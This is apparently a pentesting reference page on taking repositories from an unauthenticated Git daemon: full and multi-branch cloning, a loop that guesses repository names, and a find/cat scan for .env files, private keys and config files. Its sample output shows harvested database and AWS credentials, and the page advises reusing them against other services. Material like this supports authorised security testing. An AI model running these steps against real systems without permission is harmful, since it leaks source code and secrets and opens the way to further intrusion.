# Git Repository Cloning

- **URL:** https://hackindex.io/services/git-daemon/exploitation/git-repository-cloning
- **Path:** Git daemon > Exploitation
- **Up:** [Exploitation](https://hackindex.io/services/git-daemon/exploitation.md)
- **Published:** 2026-04-04
- **Updated:** 2026-04-04

Unauthenticated access to a Git daemon repository means the full source code, complete commit history, all branches, all tags, and all stashes are available for download. The current files on the default branch are only a fraction of what is accessible: secrets removed in past commits, credentials in old config files, and tokens in deleted branches all remain in the history. A full clone is always required for complete secret mining. Confirm repository names through [repository enumeration](https://hackindex.io/services/git-daemon/enumeration/git-repository-enumeration) first.

The object count in clone output shows how much history exists to mine. A count above 500 suggests years of commits. A count under 50 may mean a recently created or purged repository. Clone it regardless: a single credential in one old commit is a valid finding.

- Clone the Full Repository
- Clone All Branches
- Clone Multiple Repositories
- Quick File Scan After Clone

## Clone the Full Repository

If the clone fails with a repository not found error, the repository name is wrong. Try alternate names from enumeration results. If git returns a connection refused error, the daemon may restrict access by source IP. Confirm port 9418 is open and reachable before retrying. A successful clone reporting 0 objects means the repository exists but is empty. Move to the next name on your list.

```bash
mkdir -p /tmp/git_loot && cd /tmp/git_loot
git clone git://$TARGET_IP/repo.git
cd repo && git log --oneline | wc -l
# Cloning into 'repo'...
# remote: Counting objects: 1247, done.
# remote: Total 1247 (delta 0), reused 1247 (delta 0)
# 342
```

## Clone All Branches

A standard clone only checks out the default branch. Fetch all remote branches to ensure the complete history is available locally.

Branch names reveal the development workflow and the attack surface. A branch named feature/payment-integration likely touched payment API keys or provider credentials during development. Staging and develop branches often hold environment configuration files that were never cleaned up. These branches are frequently less scrutinised than main. Check out every remote branch before running secret scanning tools against the repository.

```bash
cd /tmp/git_loot/repo
git fetch --all
git branch -r
#   origin/HEAD -> origin/main
#   origin/main
#   origin/develop
#   origin/feature/payment-integration
#   origin/staging
```

```bash
# Check out each remote branch locally
for branch in $(git branch -r | grep -v HEAD | sed 's/origin\///'); do
  git checkout -b $branch origin/$branch 2>/dev/null
done
git branch
# * main
#   develop
#   feature/payment-integration
#   staging
```

## Clone Multiple Repositories

Repository names follow predictable patterns based on the application stack and team conventions. Common names to try include api, backend, frontend, webapp, config, infrastructure, and deployment. Prioritise config and infrastructure repositories. They often hold environment-specific settings, database credentials, and cloud provider keys that application repositories reference but do not store directly. A not found result is not final. Try the same name without the .git extension, or substitute underscores for hyphens.

```bash
cd /tmp/git_loot
for repo in repo config webapp api; do
  git clone git://$TARGET_IP/$repo.git 2>/dev/null && echo "Cloned: $repo" || echo "Not found: $repo"
done
# Cloned: repo
# Not found: config
# Cloned: webapp
# Not found: api
```

## Quick File Scan After Clone

Before running full secret mining tools, do a quick scan of the current working tree for obviously sensitive files.

A .env file is the highest-value find. Laravel, Django, Rails, and most modern frameworks store all environment credentials there in plain text. A database.yml holds host, username, and password per environment. Config files and .conf files often contain API keys for third-party services. Private key files (.pem, id_rsa, .key) may allow direct access to servers or decrypt other material. Any match here is an immediate finding before you examine any commit history.

```bash
find /tmp/git_loot/ -type f \( -name '*.env' -o -name '*.pem' -o -name '*.key' -o -name 'id_rsa' -o -name '*.conf' -o -name 'config.yml' -o -name 'database.yml' \) 2>/dev/null
# /tmp/git_loot/repo/.env
# /tmp/git_loot/repo/config/database.yml
# /tmp/git_loot/webapp/config.yml
```

```bash
cat /tmp/git_loot/repo/.env
# DB_HOST=10.10.10.20
# DB_DATABASE=webapp
# DB_USERNAME=webapp_user
# DB_PASSWORD=SuperSecret123!
# AWS_ACCESS_KEY_ID=AKIA...
# AWS_SECRET_ACCESS_KEY=wJalr...
```

Credentials in the current working tree are an immediate finding. Record the database host and credentials for use against the database service directly. Test any AWS or cloud keys to confirm they are still active. Note the internal database host address: it may expose a service not directly reachable from outside the network. The full history may contain additional secrets removed from the working tree but still present in git objects. Move to [history secret mining](https://hackindex.io/services/git-daemon/exploitation/git-history-secret-mining) to scan every commit systematically. Tools like trufflehog and gitleaks operate on the full local clone and surface patterns across all objects, not just the current file state.

## References

- [git-clone](https://git-scm.com/docs/git-clone) - Clone options including --mirror for complete history and ref download
